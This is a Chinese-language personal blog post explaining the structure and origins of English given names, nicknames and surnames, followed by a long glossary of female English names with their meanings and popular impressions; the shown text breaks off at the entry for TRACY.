feng's profileThinking in Celestial......PhotosBlogListsMore Tools Help

Thinking in Celestial......

世界上有两件东西能够深深地震撼人们的心灵,一件是我们心中崇高的道德准则,另一件是我们头顶上灿烂的星空。

feng

Occupation
Location
Interests

Ubuntu 9.04倒计时

Ubuntu: For Desktops, Servers, Netbooks and in the cloud
Photo 1 of 14
12/18/2008

英语姓名的来历和涵义

英语姓名的一般结构为:教名+自取名+姓。如 William Jafferson Clinton。但在很多场合中间名往往略去不写,如 George Bush,而且许多人更喜欢用昵称取代正式教名,如 Bill Clinton。上述教名和中间名又称个人名。现将英语民族的个人名、昵称和姓氏介绍如下:

I. 个人名
  按照英语民族的习俗,一般在婴儿接受洗礼的时候,由牧师或父母亲朋为其取名,称为教名。以后本人可以在取用第二个名字,排在教名之后。
英语个人名的来源大致有以下几种情况:
1. 采用圣经、希腊罗马神话、古代名人或文学名著中的人名作为教名。
2. 采用祖先的籍贯,山川河流,鸟兽鱼虫,花卉树木等的名称作为教名。
3. 教名的不同异体。
4. 采用(小名)昵称。
5. 用构词技术制造新的教名,如倒序,合并。
6. 将母亲的娘家姓氏作为中间名。英语民族常用的男子名有:James, John, David, Daniel, Michael, 常见的女子名为:Jane, Mary, Elizabeth, Ann, Sarah, Catherine.

II. 昵称
  昵称包括爱称、略称和小名,是英语民族亲朋好友间常来表示亲切的称呼,是在教名的基础上派生出来的。通常有如下情况:
1. 保留首音节。如 Donald => Don, Timothy => Tim. 如果本名以元音开头,
则可派生出以'N'打头的昵称,如:Edward => Ned.
2. +ie 或 -y 如:Don => Donnie, Tim => Timmy.
3. 采用尾音节,如:Anthony => Tony, Beuben => Ben.
4. 由一个教名派生出两个昵称,如:Andrew => Andy & Drew.
5. 不规则派生法,如:William 的一个昵称是 Bill.

III. 姓氏
  英国人在很长的一段时间里只有名而没有姓。直到16世纪姓氏的使用才广泛流行开来。英语姓氏的词源主要有:
1. 直接借用教名,如 Clinton.
2. 在教名上加上表示血统关系的词缀,如后缀-s, -son, -ing;前缀 M'-, Mc-,
Mac-, Fitz- 等均表示某某之子或后代。
3. 在教名前附加表示身份的词缀,如 St.-, De-, Du=, La-, Le-.
4. 放映地名,地貌或环境特征的,如 Brook, Hill等。
5. 放映身份或职业的,如:Carter, Smith.
6. 放映个人特征的,如:Black, Longfellow.
7. 借用动植物名的,如 Bird, Rice.
8. 由双姓合并而来,如 Burne-Jones.
英语姓氏虽然出现较教名晚,但数量要多得多。常用的有:Smith, Miller,
Johnson, Brown, Jones, Williams.
IV. 几点说明
1. 较早产生的源于圣经,希腊罗马神话的教名通常不借用为姓氏。
2. 英国人习惯上将教名和中间名全部缩写,如 M. H. Thatcher;美国人则习惯
于只缩写中间名,如 Ronald W. Reagan。
3. 在姓名之前有时还要有人际称谓,如职务军衔之类。Dr., Prof., Pres. 可以用于姓氏前或姓名前;而Sir 仅用于教名或姓名前。

---------------
女子英文名释义
---------------
ABIGALE
原为古希伯来名,意思是"最初的欢乐"或"欢乐之本"。在圣经撒母尔记上篇第二十五章中,讲到了一位早期名叫Abigale的人的故事。在这个故事之中,她是一位聪明、美丽的女人。她有过人的智能和谋略。因而,她后来成了以色列大卫王的妻子。
ABBYABBIE
是ABIGAIL的简写。人们认为ABBY是娇小可爱的女人,文静,令人喜爱,个性甜美。
ADA
(老式英语)"高贵"的意思。为ADELAIDE的简写。ADA给人的印象是年长保守,辛勤的工作者。
ADELINE
Adelaide的英文写法。Adeline被描绘为守旧,坏脾气的女孩,过份有礼但目中无人。
AILSA
古德语,快乐的姑娘的意思。
AIMEE
来自法语,意为可爱的人。
ALICE
(希腊)"真理";(老式德语)"贵族"。大部份的人都把Alice看做是"爱丽丝梦游仙境"的那位爱丽丝-一个年轻的梦想者喜欢热闹有着不受束缚的灵魂。有些人则认为她是自傲的老女人。
ALINA
爱丽娜,古德语,『高贵』的意思。
ALLISON
盖尔语,微小,真实的;古德语,名闻众神。令人联想到美丽无瑕的女子,聪明,体贴。
ANGELIA
(希腊)"天使,传送讯息者。"Angelia被描绘为美丽,娇小的女子若不是有着甜美温柔的个性,即是活泼莽撞的女孩。。
AMANDA
(拉丁名)其词根表示爱的意思。AMANDA表示可爱的人。人们认为她保守美丽又纤细,甜美富有。
ANNE
善良、优雅、喜欢帮助人的女孩.皇室的皇后、公主很多都是这个名字或者ANNIE,许多平民也都很喜欢这个名字。
ANN
(希伯来)"优雅",HANNAH的英文形式。 ANN这个名字让人想到平凡,中等阶级的女子,善良,踏实,勤勉,且憨厚。
AMY
拉丁文意思是"被深爱的"。AMY给人的印象是个玲珑,纤细的女孩,并有着安静,沉着,有文化素养及宛雅的特质。
AMBER
古法语,琥珀。令人联想到高恌,气质优雅的红发女孩,聪敏,性感,坚强又傲慢。
ANASTASIA
认 得吗?就是福斯新片真假公主的英文原名。来自希腊字复活,因此这个名字很适用于出生在复活节前后的日子。早期的基徒往往用它给那些刚刚洗礼的女孩子取名, 表示获得了新生命的意思。由于这个名字含有较多的宗教性,所以,在爱尔兰和美国得到了较为广泛的传播。腻称为STACEY。
ANDREA
(拉丁语)"有女人味的"。ANDREA被描绘为成熟健康的女人可能是聪明也有可能是笨拙的,轻声细语也有可能严肃的令人难受,大体来说,ANDREA是令人敬佩的。
ANGELA
(希腊)意谓天使,传递消息的人。ANGELA被形容为美丽,纤细的女人,温柔可人或是有活力但莽撞的女孩。
ANNIE
同ANN,如同孤女安妮一般,ANNIE被形容为可爱的小女孩,言行或许可笑却很聪明,个性和善却很固执。
ANITA
Anita是Ann的西班牙写法。人们认为Anita这个名字非常适合娇小、美丽,性格讨喜的中层阶级女性,伶俐,讨人喜欢,而且充满乐趣。
ARIEL
(希伯来),上帝的母狮子。母狮子,才不呢?ARIEL有着更柔美的形象,纤细,美丽,公主般的女孩,聪明而羞涩。
APRIL
(拉丁),开始的意思。当人们听到APRIL时,他们想象的是优美的少女,甜美,活力奔放。
ASHLEY
来自梣树林的人,ASHLEY被形容为美丽的专职妇女,害羞,友善有着正确的价值观与品味,喜欢有猫咪小狗的陪伴,还有穿著长礼服弹琴。
AVIVA
(希伯来)同Avivahc和Avivi. 有"美好的春天"的意思。
BONNIE
(苏格兰)意思是美丽,BONNIE这个名字让人联想到美丽,有这红色头发的苏格兰乡村女孩,充满活力,和善而且甜美。
BEATA
(拉丁名)最快乐幸福的人。
BEATRICE
同BEATRIX,(拉丁)带来欢笑之人。人们认为BEATRICE是高大,强壮的单身女人,有着非凡的厨艺。
BECKY
REBECCA的简写。BECKY被形容是可爱的顽皮姑娘,注重世俗之物,文静又快乐。
BETTY
为Elizabeth的简写。Betty这个名字让人在脑中浮现一个金发女孩的影像,傻的可爱,又风趣。
BLANCHE
(法语)白色,纯洁之意。人们心目中的BLANCHE若不是美丽善于运动的就是平淡乏味的女孩。
BRENDA
(古式英语)煽动者,BRANDON,及BRENDAN的女性形式。BRENDA不是被描绘成美丽年轻的金发女孩就是有着恬静个性的黑人南方女人,或是穿著套装精明干练的女商人。
CANDICE
(希腊语),闪烁耀眼的。CANDICE令人想到身材高挑,美丽无瑕的女子,外向,直率,独立,而甜美。
CARINA
亲爱的小东西!听起来好象有点肉麻喔!这可是我好不容易查到的耶。
CARMEN
(拉丁)歌曲;(西班牙)来自卡曼山的。CARMEN给人的第一印象来自歌剧。CARMEN被形容作美丽,麦芽肤色,棕眼的西班牙女孩,坚强非常有吸引力。
CAROL
(拉丁)强悍,有女人味的。CAROL BURNETT是具代表性的人。CAROL被比喻为和善,居家类型,外向风趣的人。
CARRY
Carrie是Carol,及Caroline的简写(同Kerry)。Carrie给人的感觉是可爱,聪明的金发女孩, 可能有两种极端不同的个性;一个是好玩外向的女孩,另一个则是安静好独处的女子。
CASSIE
CATHERINE,CASSANDRA的简写。人们心目中的CASSIE是可爱,受欢迎的大学女生,快乐而甜美。
CATHERINE
(希腊)"纯真";Katherine的英文形式(同Katherine),人们对Catherine这个名字有两种看法:一是美丽,优雅,处于上流社会的世故者,拘谨,严肃,举止合宜;一是普通的女人,友善,受欢迎,又有教养。
CATHY
为CATHERINE的简写(同KATHY),CATHY被描绘为可爱年轻的金发女子,充满活力,外向,有趣,且和善。但有些人则认为CATHY是被惯坏而且以自我为中心的女孩。
CHELSEA
(古英语),停船的港口。CHELSEA给人的印象是富有的英国女性,有着独特的个性。
CHARLENE,
SHARLENE同CAROLINE,CHARLOTTE。对大部份人来说,CHARLENE是矮小,有魅力的金发女子,如Charlene Tilton。但对其他人,CHARLENE是高佻,风趣的邻家女孩。
CHERRY
CHERRY,樱桃,大部份的人对Cherry的印象是甜美,可爱充满青春气息,而且热心助人。
CHERYL
为CHARLOTTE的另一形式,(亦同SHERYL)大部份的人认为CHERYL是娇小,可爱,甜美,友善的女孩,但有些人却把她看做是肥胖的代表。
CHRIS
Chris,Kris是Christine ,kristine的简写,Chris是个男女通用的名字。人们认为Chris是个顽皮姑娘或是非常有自信的女运动员,充满信心的微笑,外向,很有活力的那种人。
CHRISTINA
同Christine。如此佳人!Christina被形容为美丽娇小的女子家境富裕,聪明世故。
CHRISTINE
(希腊)"基督徒"。CHRISTINE让人联想到窈窕美丽的棕发女孩有着天使般的脸孔,或是高大,令人印像深刻的运动员,个性木讷。
CHRISTY
CHRISTINE 的简写。CHRISTY BRINKLEY是这个名字的代表人物,可爱,年轻,善良的金发女孩,风趣并受欢迎。
CINDY
CINDERELLA,CYNTHIA,LUCINDA的简称。CINDY被称为所有美国青少年的皇后,甜美,吸引人的金发女孩,活力充沛又健康,但不是很聪明。
CLEMENT
(希腊)宽容的意思。CLEMENT是个古老的名字,这个名字相当适合年长的南方乡村女孩,甜美,保守,不曾受过教育。
CLORIS
是古希腊神话里花的女神,指盛开的花朵.。
CONNIE
CONSTANCE的简写,在人们心目中的CONSTANCE有两种:体态优美,娇小美丽的女人,活泼,有点胡涂且受欢迎或是高挑勤奋的保守女子。
CORA
(希腊)未婚的女子。CORA是个古老的名字,一般似乎延用在思想单纯,黑发的未婚女子聪明友善。
CORRINE
贵族之后。CORRINE给人的印像是有着高贵气质的金发女子,聪明的头脑及敏锐的判断力,通常团体中的佼佼者。
CRYSTAL
(拉丁)"清澈如水晶"的意思。(同KRYSTAL)。CHRISTAL被描绘为富有,高挑,美丽的女子,非常有天份但过于矫饰自己。
DAISY
(老式英语)"雏菊"。森林来的"金发女孩",甜美可爱。
DAPHNE
(希腊)"桂树"。人们将Daphne形容为富有的年长女人,可能是头脑简单,四肢灵活或行为拘谨的棕发女子。
DARCY
(爱尔兰语)"秘密"。人们口中的CHARCY是圆润可爱的邻家女孩。有的人则认为DARCY是像拉拉队长或那种在比赛过后喜欢到酒吧热闹的女孩。
DEXTRAD
(拉丁名)很灵巧、熟练的意思。
DEBBIE
DEBORAH,DEBRA的简写。DEBBIE被描绘为可爱,健康的小孩,健谈,活泼,又有趣。
DEMI
(法国)一半或小的意思。DEMI MOORE是这个名字的代表人物。人们认为DEMI是个流行的名字适合聪明,美丽,受欢迎喜欢寻找乐趣的女孩。
DIANA
(拉丁)神的,上帝的。大部份的人认为DIANA是美丽,身处上流社会的金发女子,保守,拘仅,安静,聪明。有些人却把DIANA看做投机主义的人。
DONNA
(意大利文)"夫人"的意思。人们认为DONNA适合可爱的,有母爱的女子,文静,友善并平易近人。
DORIS
(希腊)从海洋来的。DORIS被描绘为整齐,活跃的金发女子,健谈友善,就像DORIS DAY.
EDITHA
(老式英语)"丰硕之礼"对大部份人来说,Edith是平凡,穿著老旧,可爱,容易上当又迟钝的女人。有些人则把Editha看成不受赞许的老师。
ELAINE
Elaine被人形容为美丽的金发女子-精明有商业头脑,不但友善还是个很好的朋友。
ELLA
(古式英语),"小淘气,美丽的女子"。人们说ELLA是高大,魁梧的女黑人-一个保守的祖母,快乐,讨喜,友善。
ELLIE
为Eleanor,Ella, Ellen等字的简写:人们认为ELLIE是可爱保守的南方乡村女孩,天真,迷人,而且甜美。
EMERALD
英语。实际上是一种绿宝石的名字。后变为女人名。
EMILY
(德语),勤勉的意思。(拉丁),恭维者的意思。大部份人将EMILY描绘为娇小可爱,安静保守的女子,聪明,柔弱,拘谨。
EMMA
(古德文)"全球的,护士的",EMMA被看做是丰满,平常,年长的居家型女人,快乐,文静,教养良好,个性依赖。
ENID
(威尔斯)意为"生命"或"灵魂"。有人认为ENID是上流社会的单身女子,守旧细心。但也有人认为ENID是活泼的派对爱好者。
ELSA
同IISA(老式德语)贵族,ELIZABETH的简写。ELSA这个名字让人想到演员或富裕的欧洲女性,自负快乐及外向。
ERICA
(老式挪尔斯语)"所向无敌";是Eric的女性形式。所向无敌?没错!Erica被看做是意志坚强,性感的金发女子,富有,任性,而且定不下来。
ESTHER
(波斯)"星子"的意思。ESTHER这个名字给人两种印象:一个是于家中握权的女人,倔强,古板,另一个则是美丽的女子,甜美又文静。
EUDORA
拉丁名,意为幸福的礼品。
EVA
对大部份人来说,Eva是个优雅美丽的女子,也是个很有主见及直接的人,有人则认为Eva是性感,优雅的谋略者。
EVE
最早使用这个名字的人,据说就是<圣经>中所说的夏娃-亚当之妻。在欧洲,人们有这么一种迷信,即凡是被命名为夏娃的人一定会长命。因此,此名在宗教改格前流行于西欧。
FIONA FANNY,
Fannie同Frances,Fanny被描绘为黑发,丰润的女孩,快乐,风趣,非常活泼有时让人有鲁莽的感觉。
FIONA
最 初是苏格兰作家威廉?夏普的笔名。他曾经撰写一系列取自克尔特民间故事题材的小说。他的笔名选用的很恰当。因为爱尔兰的许多名字都带有『finn-』或 『fionn-』这个前缀;这两个克尔特语前缀的意思是『美丽』和『白色』。据古代传说,在爱尔兰曾居住着一批巨人。他们当中,有一个英雄名叫Finn, 又名Fionn或Fingal。此外,人们还传说古爱尔兰住着一位『白肩姑娘』(克尔特语为Fionnguala,她是李尔王的女儿。后来她变为天鹅,在 漫长的几百年间,游荡在爱尔兰的河川湖泊中。
FRANCIS
(拉丁)"自由,来自法国;FRANCIS的女性名。大部份的人认为FRANCIS是个纤弱保守的女子,善良,可爱但沉稳。
FREDERICA
(古式德语)和平的统治者。FREDERICA让人联想到年长的外国女子,精明,能干,自负。
FRIEDA
(老式德语)"宁静"的意思。Freda被描绘为告大,朴实,古板的德籍女士,友善,温和,个性积极。
GINA
为Angelina,Regina的简写。Gina给人两种印象:一是娇小,美丽黑发受宠骄纵的意大利女子,或是平凡,圆润的风趣女人。
GLADYS
(塞尔特语)"公主"。(拉丁语)"短剑,剑兰;Claudia的威尔斯型式。"人们将Gladys描绘为身体强壮,穿著老旧戴着厚重眼镜的老妇人。Gladys也可能是保守善良,或者聒噪的女人。
GLORIA
(拉丁)"光辉"的意思。对大部份人说GLORIA是美丽气质优雅的金发女孩,受宠的大小姐。但对某些人说,GLORIA是文静,快乐,中层阶级的淑女。
GRACE
(拉丁文)优雅之意。当人们想到GRACE,他们就会联想到文静,可爱,充满智能的老妇人。
GRETA
本来是MARGARET在瑞典的简称,但到了英国后,成了独立名字。大部份人心中的GRETA是性感的金发女星带着瑞典或德国腔调及美丽的长腿。代表人物为GRETA GARBO
HELLEN
(希腊)光的意思人们认为HELEN是美丽的上流社会的女子,有着黑发与黑眸,优雅,聪明受过高等教育的。
HEBE
希腊语,意为『春天之神』其变形为Hebbe。
HEIDIADALHEID,
ADELAIDE的简写。人们将HEIDI描绘为电影或书中孩子般的角色-美丽文静的斯甘地拉维亚女子有着一头耀眼的金发。
INGRID
(斯甘地拉维亚)"英雄之女"。人们将INGRID联想为金发的斯甘地拉维亚女子,聪明,热情,又勤奋INGA不是被描绘为美丽如INGRID BERGMAN般的美女不然就是高大,魁梧的年长女人。
ISHARA
(印度名)很有钱的意思...所以取这名字的女孩要小心ㄋㄟ..。
IRENE
(希腊)和平,Irene给人的强烈的感觉是个适合文静,中年的爱尔兰女子,和善,有趣。
IRIS
(希腊)"彩虹"。在人们眼中,Iris是高佻,苗条,细致,且自视甚高的女子。
IVY
(老式英文)"长春藤",IVY这个名字给人的印象有两种:一是守旧,具母性光辉的女人,稳重慈祥;一是急智外向的南方佳丽。
JACQUELINE
(希伯来文)意为"追随者"。感谢第一夫人,JACQUELINE给人的印象是黝黑,苗条,美丽神秘-富有,优雅善于社交的女子,迷人的魅力无法挡。
JAMIE
(法语)"我爱";JAMES的女性型式。JAMIE是个受欢迎的中性名字。名为JAMIE的女孩通常是可爱,感性顽皮。
JANE
(希伯来文)悲怜上帝;也是JOHN的女性名词。并不令人惊讶!人们心中的JANE平凡无奇。这名字让人联想到普通,依赖,爱好园艺的邻家女孩。
JANET
同Jane。Janet被人看做聪明活泼善于社交的女孩,脚踏实地是个可信赖的人。
JEAN
为JANE的苏格兰形式。JEAN适合能力不错,可靠的女子的名字,可以是可爱女人味十足的;也可以是纯真带孩子气的。
JESSICA
(希伯来)财富;JESSEE的女子名,大部份人认为Jessica是个甜美,美丽,受欢迎的女孩,有些人认为她是个美丽骄纵的富家女孩;其它的人则认为她是个难以驾驭的女强人。
JESSIE
为Jasmine,Jessica的简写;Janet的苏格兰形式。Jessie是个中性名字令人想起可爱运动型的女孩,男孩子气,爱玩,善良,且聪明。
JENNIFER
(威尔斯)"纯洁","美好"同Guinevere。近来Jennifer已变成一个受欢迎的名字。(有些人则认为太受欢迎了)人们认为Jennifer这个名字非常适合可爱的金发拉拉队长,受大家欢迎,并受人喜爱。
JENNY, JENNIE
是JANE,JENNIFER的简写,JENNY被形容是有趣外向有着西方乡村气息的邻家女孩。但有些人认为JENNY是指老古董般的家庭主妇或是老祖母。
JILL
为Gillian的简写。人们认为Jill是个适合高瘦年轻女子的名字,平凡,安静且非常友善。
JOAN
(希伯来)上帝的恩惠;同JANE;为JOHN的女性形式。对大部人来说,JOAN是平凡,严肃,乏味,温和。但对某些人,JOAN令人讨厌,自大又聒噪。
JOANNA
同Jane;John的女性型式。Joanna被认为是个十分适合平凡,传统,以家为重的女人--可能是秘书或护士。
JOCELYN
古德语,意为优胜者。令人想到美丽的乡村女孩。好玩甜美。
JOYCE
为JOSEPHINE的简写,大部份的人对JOEY的印象是被惯坏的小麻烦,但虽然顽皮,倒不失其天真可爱的一面。
JOSIE
同Josephine,"愿上帝给增添孩子"。Josie被视作平凡,高大,黑发的女人,循规蹈矩,行为严谨之人。
JOY
(拉丁语)"快乐"。Joy给人的感觉同名字一般,快乐的女人,善良很好相处。对某些人来说,Joy有点傻,其它的人则认为Joy是认真又努力的人。
JOYCE
(拉丁文)快乐的。大部份的人认为JOYCE是个活泼爱玩的女孩,也是忠实的朋友;但有些人则认为JOYCE虽然聪明,但也喜欢指使人。
JUDY
为Judith的简写。 Judy被视为喜欢捉弄人的小精灵,骄小,可爱,非常和善。
JUNE
(拉丁),六月。大部份人认为JUNE有如邻家女孩,活泼,可爱,有着中等的容貌及身材。有些人则认为JUNE是平凡愚蠢的女孩。
KAREN
Katherine的丹麦型式。人们认为Karen是平凡的棕发女子,独立,风趣是个可以深交的朋友。
KARIDA
(阿拉伯名)有纯洁、处女的意思。
KATE
为Katherine的简写。 Kate这个名字令人联想到可爱,外向,精力充沛,脚踏实地的女子。
KATHY,KATHIE
为KATHERINE,KATHERLEEN的简写(同CATHY)。KATHY被看做黑发的小女人,文静,温和又善良。
KATRINA
纯洁的意思。
KAY,Kaye
为Katherine的简写。有人说Kay是个过重但时髦的女人,表面看来友善甜美,私底下擅于算计且冷酷。
KELLY
(爱尔兰盖利克)"战士"。Kelly给人两种不同的印象:可爱的乡下爱尔兰女孩,迷人又风趣。或是魁梧具野心的雄辩者,咄咄逼人令人不舒服。
KISHI
(日文)让我们的地球快乐,(哇!取这个名字的人责任很重大喔~)
KITTY
kitty,是Catherine的简写,当人们听到Kitty时所想到的是可爱的红发女孩,性感,爱玩,坚强。
LAREINA
西班牙文里的意思是指皇后。
LAURA
拉丁名,意为『海湾之树』。事实上是LAWRENCE的女性形式。人们说LAURA是美丽的金发蓝眸女子,古典气质,性格甜美。
LENA
(拉丁)诱惑者;"leen"," "lena," "lina," "line"。LENA有两种不同的形象:娇小,活泼的歌者或是固执,年长的挪威女子。
LYDIA
原来是小亚细亚地区的一个地名。古代有一位国王叫Croesus,使这个地方成为很繁荣的地区。后来,他的王国于公元前546年崩溃。Lydia,成为人民后,其义为『利迪亚地区的姑娘』。简称为Liddy。
LILLIAN
(拉丁)百合花,这个名字让人联想到脆弱,朴素,富有带着眼镜的妇人-可能是图书馆员。有些人则认为Lillian代表善良,还有人认为Lillian是诚实健谈的。
LINDA
(西班牙语)美丽的意思。一点也没错,人们期望的Linda是有着蓝眸的金发女孩,既甜美又文静。
LISA
是ELIZABETH的别名,LISA被描绘成美丽,黝黑并安静聪明的女孩。有些人觉得LISA是个有趣并善良的女孩。
LIZ
为ELIZABETH的简写,人们将LIZ描绘为美丽,高挑,精力旺盛的女人,有棕色的短发和大眼睛。LIZ是勇敢的,爱直言的行为可能有时显得粗俗,自负,脾气不是很好。
LORRAINE
(法文)对大部份的人来说LORRAINE是有着卷头发的中等美女,女强人,稳重,安静,有些人认为LORRAINE是有点轻浮,有趣的女子,脾气可能也不好。
LUCIA
同Lucy"光明"的意思。人们认为Lucia是很有趣的乡村女孩,活泼,搞笑,聒噪,可爱。
LUCY
来自拉丁字Lux,"光明"的意思。人们认为LUCY是有趣的乡村女孩,活泼可爱,风趣,引人注意。
LUCINE
在拉丁神话里,有位负责在孩子出生时,给予第一道光芒的罗马女神,所以LUCINEU有启蒙、照明的意思。
LULU
同LOUISE,LUELLA。人们形容LULU是顾家,保守的女人,愚蠢,浮燥,丰腴,甜美。
LYNN
(老式英语)瀑布,或水池。是包含"lin","line","lyn"等字名字的简写。Lynn被形容为高,纤细,身体 健康的年轻女孩,个性独立而且友善。
MAGGIE
为MARGARET的简写。MAGGIE被认为是古板,身强体壮,满脸雀斑的爱尔兰女子,友善,风趣,大胆,独立,又大嗓门。
MANDY
为AMANDA,MANDA,MELINDA的简写。人们将MANDY描绘为年轻,可爱,精力充沛的女孩,外向且风趣。
MATILDA
(老式德语)战争中占优势者。战争中的优势者,一点也没错。MATILDA被认为是高大,体积庞大的老女人,古板喜欢使唤人。有些人则认为这个名字非常地适合女巫。
MILLY
为CAMILLE,EMILY,MELISSA的简称。给人大块头年长女子的味道,健谈,友善,可爱又居家,是农夫也不一定。
MIYA
日文的意思是指神殿、寺庙。
MARIAH
(希伯来)同MARY,人们说MARIAH是娇柔美丽的黑发姑娘,个性文静,温和,甜美。
MARY
(希伯来)苦的意思,MARY 给人的印象是单纯的普通女孩,独立,安静并有点迟顿。
MAVIS
(拉丁)最伟大者。为MAX的女性型式。MAXINE有三种形象:端庄温和,带着眼镜的教师;受拥戴,甜美的金发女皇;好动的的顽皮姑娘。
MAXINE
(拉丁)最伟大者。为MAX的女性型式。MAXINE有三种形象:端庄温和,带着眼镜的教师;受拥戴,甜美的金发女皇;好动的的顽皮姑娘。
MAY
(拉丁),伟大。 MAY让人联想到两种印象:丰满的金发女子,讨喜风趣,或者是平凡单调的女侍。
MELISSA
(希腊)"蜜蜂"。人们认为MELLISA是娇小美丽的年轻女子,甜美但娇纵的大小姐。
MELODY
原意有音乐旋律的意思,这个名字很受20世纪人中人们的喜爱,人们将Melody这名字和甜美、温柔、善解人意的女孩联想在一起。
MEREDITH
(威尔斯)"来自海的守护神"。Meredith被看做古典美人,聪明,独立,富有。
MICHELLE
(希伯来)像神的人;MICHAEL的女性形式。大部份人认为Michelle是美丽,身材修长的自大女千金。
MIRANDA
(珍贵的赞美)大部份人将Miranda描绘为高大美丽的异国女子,高贵神秘甚至不可一世。
MIRIAM
为Mamie,Mary,Mayme的变形,意思是"甘苦的"。生下耶稣的圣母玛丽亚,如同Dolores及Mercedes等名字都是用来颂扬及表示对Mary的尊敬。这是个神圣的名字,唤此名字的人,多具有文才艺术方面的才华,在写作画画方面多有成就。
MONICA
(拉丁文)参谋者之意。大部份人认为MONICA是美丽的金发女子,受过教育,风趣友善。有些人则认为Monica是被宠坏的大小姐。
NANCY
NAN的别名,NANCY被描绘成美丽的黑发邻家女孩,安静讨人喜欢,个性和善并甜美。
NATASHA
NATALIE的俄文形式。NATASHA被人们形容为有着巧克力肤色,美丽,具异国风情的神秘女子极度自我的女子。
NICOLE
(希腊)意思是胜利的人们,由NICHOLAS衍生的女性名。人们把NICOLE形容是中国娃娃,意谓娇小,美丽的年轻女孩,甜美浪漫,但容易破碎。
NIKITA
(俄语)胜利的意思,是NICOLE的另一种说法,在俄国也可以当男子名喔...
NINA
(西班牙)"女孩"之意。大部份人心目中的NINA是娇小美丽的金发女子,优雅,具异国风味,文静,冷默且独立。有些人则认为NINA是迷人随和的女孩。
OLINA
夏威夷话是指欢喜的、快乐的。
OPRAH
(美国)同Opera,Opie。这个名字几乎和电视明星Oprah Winfee画上等号。Oprah给人的印象是霸道,美丽,积极,自以为是,大胆,聪慧,敏感。
PAMELA
(希腊)全蜜的意思。人们认为PAMELA若不是高傲惹人厌的公主就是下等阶级的单亲妈妈。
PAULINE
同Paula Pauline被描绘为聪明,冷静成熟的女子,直率,循规蹈矩。
PEARL
(拉丁),珍珠的意思。 PEARL被视为美丽,高大的女子,健谈且风趣。
PEGGY
为Margaret的简称。人们认为Peggy是邻家男孩-可爱,友善,平凡。
PHILOMENA
希腊语,意为可爱的思想。
PHOEBE
希腊语,意为照顾。在古希腊,人们称月亮女神为PHOEBE,就如罗马人所说的DIANA一样。
POLLY
为MOLLY,PAULA的另一种形式。POLLY被叙述为惹人疼爱的小甜心-可爱,活力充沛的女人,带着乐观与善良的态度。
PRISCILLA
(拉丁文)的意思是远古的日子,部份的人把Priscilla 描绘为假正经的人,美丽,有女人味,有点紧张兮兮,除此之外颇善于交际。
QUENTINA
拉丁名,意为"第五个儿子",为QUENTIN的女性形式。简称QUENT.
RACHEL
(希伯来文)母羊的意思,RACHEL被描绘为美丽,娇小的黑发女子,一个聪慧能筑梦踏实的女子。
REBECCA
原为希伯来文Ribkah,意为"节成结的绳索",用它来比喻"忠诚的妻子"。
RITA
MARGAET之简写。大部份人认为RITA是美丽有天份的女人,风趣外向,然而有点不真实。有人则认为RITA是文静且圣洁地。
ROSE
(希腊)玫瑰的意思,人们认为ROSE是个真正的甜心-温和具有母性的光辉,心地善良,乐于助人。
ROXANNE
(波斯)"黎明"的意思。任们认为Roxanne是美丽的,优雅的金发女子,充满活力又热心,虽然不是太精明。
RUTH
(希伯来)意为"美人"或"朋友"。人们说RUTH是高大,强壮的普通女人,热心,受尊敬-通常是老师或领导者。
SABRINA
(拉丁语)来自边界。人们认为SBRINA是美丽性感的女子,热情而俏皮。
SANDRA
Alexandra的简写。Sandra这个名字给人两种印象,一种是聪明的金发女子,坚决有自主权;另一种则是丰满的女人,声音甜美个性随和。
SAMANTHA
(亚拉姆语)"倾听者。SAMANTHA给人两种印像:一个是聪明,美丽的女子,另一个则是难缠的中年妈妈。
SAMMY
SAMSON,SAMUEL的简写。SAMMY给人的直接印象来自Sammy Davis,Jr。人们将SAMMY看做纤细的黑人明星,风趣多才多艺。
SANDY
SANDRA的简写。SANDY被形容为年轻的金发女子,聪明,好动,爱玩,善良且平易近人。
SARAH
(希伯来)"公主"。 Sarah这个名字让人联想到矮小,美丽,卷发的女孩,保守又友善。
SELMA
(斯甘地拉维亚语)庄严的保护着。人们说SELMA是个适合年长,次等阶级,自以为无所不知的南方女人名字。
SELINA
月光之意。Selina给人的印象是个性开朗,面貌柔美的女子,温柔娴熟,但有人认为她的个性阴晴不定难以捉摸。
SERENA
(拉丁)"温和;沉着的"。SERENA给人两种不同的印象:可爱活泼充满惊喜的女孩;或是文静胆怯,虔诚的信徒。
SHARON
(希伯来文)同Sarah。大部份人期待的Sharon是娇小可爱,中层阶级的金发女子,友善,甜美,聪慧。有人则认为Sharon是害羞迟钝的。
SHELLEY
(老式英语)意为州的牧场,同SHEILA,SHELBY,SHIRLEY。SHELLEY给人两种不同的印象:一个是可爱聪明,眼高于人的中学美少女;或是愚蠢又矮又胖多话的女孩。
SHERRY,
CHERIE同CHARLOTTE,CHER,SARAH,SHIRLEY.大部份人把SHERRY想成可爱娇小,圆润的金发女孩,友善,逢场作戏,然而却十分健忘。
SHIRLEY
(老式英语)"来自耀眼的牧场"。人们将SHIRLEY描绘成灰发版的Shirley Temple-可爱,甜美,卷发,娃娃脸,有点过重。
SILVIA
(拉丁文)"来自森林",在多数人的心里,SILVIA是个美丽富有的女人,冷静,循规蹈矩,精明的女商人。
STACY
ANASTASIA的简称。STACY被形容是娇小可爱,年轻的红发女子,活泼,外向喜欢开玩笑。
STELLA
(拉丁)"星星"之意;ESTELLE的简写。大部份人认无STELLA是穿著朴素,古板,努力的工作者,反应迟钝号发牢骚者。
STEPHANIE
(希腊)皇冠的意思。STEPHEN的女性型式。大部份的人认为STEPHANIE是纤细,美丽的女性,世故非常自我-模特儿,大概是吧。有些人认为她是非常善良的女孩。
SUE
Susan的简写。Sue给人两种不同的印象:一是传统家居的美国女孩,既甜美又体贴;或是美丽,有着致命吸引力的女人。
SUNNY
(英文)"聪颖,快乐的":SONIA的简写。如同名字所给的意思,SUNNY被视做聪颖快乐外向,令人喜爱,性感但有点没大脑,喜欢参加派对的女孩。
TAMMY
TAMARA的简写。人们认为TAMMY是可爱的年轻女孩,甜美,好玩,奢侈。
TESS
为TESSA,TERESA的简写。TESS这个名字给人两种印象:一是肥胖简朴的农村祖母,二是娇小,害羞,美丽的长发女孩。
TERESA
(希腊)收获者。TERESA被形容为美丽,黑发的女人,文静,直接,而且有着极虔诚的信仰。
TIFFANY
(希腊)上帝的外表。人们认为TIFFANY适合娇小美丽,富有,世故,轻浮,惹人厌的女子。
TINA
以"TINA"或"TINE"结尾名字的简写。大部份的人把TINA形容为活力充沛的女孩。有人则认为TINA是被宠坏又害羞的女孩。
TRACY
